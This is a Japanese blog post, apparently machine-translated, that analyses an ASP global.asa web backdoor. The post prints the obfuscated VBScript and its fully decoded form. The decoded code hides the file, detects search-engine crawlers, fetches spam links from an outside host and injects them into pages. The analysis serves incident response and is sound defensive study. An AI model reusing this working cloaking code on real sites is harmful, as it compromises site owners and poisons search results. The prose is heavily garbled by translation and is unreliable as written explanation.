ウェブサイトのバックドアファイル(ウェブシェル)分析ノート

序文

週末には、アリの雲がテキストメッセージを送信し、彼はその後すぐにセキュリティインシデントに関する情報を表示するためにアリの雲のウェブサイトにログインし、サイトのバックドアで見つかったドキュメントを述べました。

バックドアファイル比較

サイトを越えてのみファイルを分析する必要があるでしょう、これらのファイルのいくつかを比較するための比較発見後に同じ内容で、いくつかのディレクトリのglobal.asaファイルに悪意のあるたバックドアファイルが表示されます。

バックドアファイル機能

まずインターネットglobal.asaファイルがで行うために使用され、ルックアップASP Global.asaファイルこのページで紹介している、単に、それは前に、ユーザーがWebページを開くことができるということである、コードを実行します。

バックドアのファイル形式

次のようにのGlobal.asaは、コンテンツが合理化、テキストエディタでファイルを開きます。

<script language="vbscript" runat="server">sub Application_OnStart:end sub:sub Application_OnEnd:end Sub:Execute(JiaMi("79.110.32.69.")):function JiaMi(asp):ExeCuTe(JMONE("edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim")):end Function:Function JMONE(objstr):objstr = Replace(objstr, "`", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr:Else:NewStr = vbCrLf & NewStr:End If:Next:JMONE = NewStr:End Function</script>
复制代码

コンテンツの始まりをされ<script language="vbscript" runat="server">たコードは、サーバー側で実行されている、この言語VBで書かれているに示します。

多くの大腸コード、インターネット検索ビットはVBで、コロンと改行が同じ役割を果たすことができる、があります。だから、すべてのコロンは改行、インデントに置き換え、次のようにフォーマットされ、必要なコードを追加しています。

<script language="vbscript" runat="server">
sub Application_OnStart
end sub

sub Application_OnEnd
end Sub

Execute(JiaMi("79.110.32.69."))

function JiaMi(asp)
  ExeCuTe(
    JMONE(
"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
    )
  )
end Function

Function JMONE(objstr)
  objstr = Replace(objstr, "`", """")
  For i = 1 To Len(objstr)
    If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr
    Else
      NewStr = vbCrLf & NewStr
    End If
  Next
  JMONE = NewStr
End Function
</script>
复制代码
バックドアファイル解析

あなたは、ファンクションキーの部分は、関数JMONEであることを示す、順番に機能JiaMi機能JMONEを呼び出す関数JiaMiを呼び出して実行し、フォーマットした後、上記のコードを読むことによって知ることができます。

分析機能JMONEは、以下の機能を実現するために知られています:

  1. objstr `で渡されたパラメータは、英語の文字、二重引用符のペア、および処理された文字列変数objstrを再割り当てを置き換えます。
  2. この場合の各文字列objstrトラバーサル、機能ミッド(objstr、iは、1)現在の文字を取得します。場合は、VBの取得を言っ方法で、文字の文字列で指定されていますか?または使用するいかなる従来の方法はありませんので、特徴を検出するためのセキュリティツールを防ぐには?
  3. 各文字、トラバース文字が┊であることを確認するために、私はこの文字を見たのは初めてで、それが使用されているかわからない、そのUnicodeの数がU + 250Aである私たちは、この文字を知っている前に、インターネットは、ビットを検索いわゆる「ファイン4つのタブが垂直線をダッシュ​​。」シンボル、それはセキュリティツールの機能によって検出されるのを避けるためにあるかどうか、|共通には使用することはありませんか?
  4. 現在の文字は┊、その後、NewStrによってすでにVB上記の引数プラス改行のvbCrLfであれば、そうでない場合は現在の文字変数NewStrによってすでに前にスプライシングされました。悪意のあるコードがJMONEこの関数を解析し、実行渡し、次に、改行特殊なタブとして、逆の順序で最初の関数の外であるように見える、ちょっと、ビットああを意味します。
  5. 通過した後のパラメータは、変数JMONEに割り当てられた処理結果NewStrによってすでに、機能の終了を処理しました。

JMONE機能解析はJiaMiのこの機能解析を呼び出し、その後、行わ。この機能は、人々を見て書き、JiaMiは、「暗号化」まあ、ああ、理解しやすい、良い良いです。

ビューJiaMiこのコード機能、あなただけそれを知っている一つのことを行うことができ、この機能をJMONE、そしてJMONEにこの機能を実行するためのパラメータを渡しています。JMONEパラメータは次の文字列の混乱長いリストに渡されますが、前回の分析JMONEの組み合わせが知ることができ、これが唯一の逆順のタブ区切り++コードのみです。文字のこの文字列の下にはJMONEパラメータを渡されます。

"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
复制代码

上記ストリングを減少させることによって行わJMONEロジック機能は、必要に応じてインデントを追加し、次のコードを得ることができるラップ。

mianasp=split(asp, ""."")
for i=0 to UBound(mianasp)-1
  hao=mianasp(i)
  aspcode=aspcode+chr(hao)
next
JiaMi=aspcode
复制代码

上記のコードの分析は、それは次のような機能することが判明しました。

  1. セパレータに渡されたパラメータは、英語、アレイ素子mianaspの点の数に分割されます。
  2. 反復mianasp、一緒に配列・ツー・バック作品内の各文字、そして最後には、文字列aspcodeを取得し、変数JiaMiに割り当てます。

上記では、読み取りの便宜のために、この関数JiaMiの文字列は、合理化されました。関数が実際に実行された後、その結果は文字列の多くは、よく見る、またはVBコード、改行やコロンです。次のようにそれが行変換処理を行い、必要に応じてインデントを追加し、キーコードの最後の部分です。

Function DeAsc(Str)
  Str=Split(Str,"%")
  For I=1 To Ubound(Str)
    DeAsc=DeAsc&Chr(Str(I)-18)
  Next
End Function

Function Htmll(Url,AChar)
  Set MSX=Server.CreateObject("MSXML2.ServerXMLHTTP")
  MSX.Open "GET",Url,False
  MSX.SetRequestHeader "User-Agent","MSIE"
  MSX.Send
  Htmll=MSX.ResponseBody
  Set MSX=Nothing
  Set ASM=Server.CreateObject("Adodb.Stream")
  ASM.Type=1
  ASM.Mode=3
  ASM.Open
  ASM.Write Htmll
  ASM.Position=0
  ASM.Type=2
  ASM.Charset=AChar
  Htmll=ASM.ReadText
  ASM.Close
  Set ASM=Nothing
End Function

Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile("//./" & Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa"))
if f.attributes<>39 then
  f.attributes=39
end if
Set fso=Nothing
  Bot=Request.ServerVariables("HTTP_USER_AGENT")
  host=Request.ServerVariables("HTTP_HOST")
  path_info=Request.ServerVariables("PATH_INFO")
 KBot=Array("baidu","google","sogou","soso","yahoo","bing","bot","spider","so","360","haosou")

For B=Lbound(KBot) To Ubound(KBot)
  If InStr(1,Bot,KBot(B),1)>0 Then
KeyData=Htmll(DeAsc("%122%134%134%130%")&host&"&url="&path_info,"GB2312")
    skyword=split(KeyData,"[0xSpider]")
    Response.Write(skyword(1))
  End if
Next
复制代码

上記で定義された機能コードとDeAsc Htmll、および後続のステートメントにこの2つの機能を呼び出します。ここで何をすべきかを行うには、コードの具体的な分析には:

  1. 可変FSO = Server.CreateObjectに(「Scripting.FileSystem・オブジェクト」)を定義し、機能を手動ステッチ文字列の範囲、1~3に分割されているだけでなく、安全であると検出ツールを回避するために、パラメータストリング。
  2. 変数f = fso.Getfile(「//./のGlobal.asa」)を定義し、サイトのルートにGlobal.asaファイルを取得するために使用されます。
  3. F 39は割り当てられていない場合プロパティは、39の値か否かを判定する属性、インターネット検索、このプロパティの結果を加算することにより得られた複数の値を理解している、39 = 32 + 4 + 2 + 1、前記1が読み取り専用でありますファイル属性、2隠しファイル属性、システムファイル属性4、コードのその部分の役割は、Global.asaファイルの読み取り専用、隠された、システムファイル、これらの3つの属性が設定されています。
  4. 値を備えてユーザーエージェント、検索エンジンのクローラはページにアクセスするユーザーを含む分析、すなわちKBot上記で定義された変数、ユーザが検索エンジンのクローラと判定された場合、以下の動作が行われます。
  5. 実行が先に定義された関数Htmllを持っていた、この関数は2つのパラメータを取ります。そして、最初の引数で、引数は、httpにDeAscを行った後に得られた合理化された結果を行うためにここに、長いリストで実際にDeAscです://黒の生産現場、現在のページのURLのURL、その後、スプライシングされたユーザのアクセスは、それがレコードのユーザアクセス履歴に使用されている黒生成されるべきであるfile.sjc5.com/file/link.php?domain=、使用すべきです。第二のパラメータは明確エンコードさを定義するために使用されます。
  6. Htmll機能コードを参照してください、指定されたURLにIEのUserAgent開始要求、およびWebページのコンテンツに対応するURLを取得することがわかる。URLで複数回ポストマンの要求を:file.sjc5.com/file/link.p ...、コンテンツは文字列が[0xSpider]様々なランダムなディレクトリ名、ファイル名、および多くを含んで、ほとんどが相対パスの前にある、これらのタグのhref属性を参照して、HTMLタグの束をラップで返さファイル拡張子SHTMLまたはASPX、このサイトはASP / ASP.NETのためのバックドアであるようだ。黒生産されている必要があり、後者のパスは、ドメイン名を含む完全なURLで、オープンないくつかのWebサイトは、視覚的に見えましたアップ薬漬け。
  7. 機能コードHtmllの実行を完了した後、上記の結果は、[0xSpider]区切り分割さに戻り、最後のパイルURLは結果として返さ。
概要

ダウンプロセス全体をコーミングした後、最終的にあなたは、このサイトが検索エンジンのクローラの結果を改ざんするバックドアであることを知っているかもしれません。このドキュメントは、次のようにバックドアのコード機能がある要約したものです。

  1. 文字コード変換:ASCIIコードに、例えば、通常の文字や記号、機能JiaMiに渡されます。
  2. スプリット文字列:JiaMiは、ASCIIコードに変換され、英語の文字が離間したドットの間で使用されているだけでなく、渡された文字列関数、Server.MapPathの(「/ G」&「LO」&「BA」& )「ラ」&「SA」この文は同じ理由で、機密ファイル名のglobal.asaはステッチ後に手動で分割しました。
  3. 文字列の順序を変更:文字列は逆の順序で機能JMONEに渡され、その後、返し縫い機能に再び、正の配列アラインメントを変換した後、行うことができます。
  4. 文字列コード値変更:DeAsc関数の後、文字番号18のASCII値はChr関数は、通常の文字に続いて、減算されます。

上記のコードは、重要な情報と混同されるためのさまざまな方法を試してみましたが、キーポイントは、それは変更することができないということですが、それはそれは、コードを実行するために実行し、VBの関数を呼び出す必要があり、です。その理由は、関数を実行し、アリの雲を検出することになるサイトバックドア個人的な推測では、主な理由です。そして、以前と同じで、それを考慮しなければならないため、使用のeval関数の禁止がある、JavaScriptコードの仕様を見て思います。

追伸

文書解析のバックドアの役割が明確にも、サーバーオフからそれを削除しますが、サーバー上に表示される正確にどのようにこのバックドアファイルは、それが重要ですが、残念ながら、サイトの脆弱性の位置は、見つけることができませんでしたそれは、バックドアファイルがどこから来た把握しませんでした。しかし、ASPの書き込みサイトのこのセットは現在、トラフィックがない、そしてそれにアプローチする権利方法がないときにも、侵入者に機会を与えなかった、オフラインそれを取るためにこの機会を利用したいです。

とにかく、ネットワークセキュリティがますます専門的、本当に多くのことが重要です。特に守備の側面のため、そこに百の秘密がありますが、限りスパースがあるとして、それは失敗を意味していても。開発者として、だけでなく、サーバやウェブサイトのセキュリティ、自然重いの肩にかかる負担が、この方法に関与することが必要、見て、問題を分析するために異なる角度で自分を作ることが可能であり、より視野を広げます。同じもののために、それはあなたの負担になることである、またはあなたが成長して促すだろう、それはすべてあなたが世界を形作るものを、あなたに依存して、それを見て、心の種類、あなたの世界。

終わり。

おすすめ

転載: juejin.im/post/5da5e56df265da5b6723f276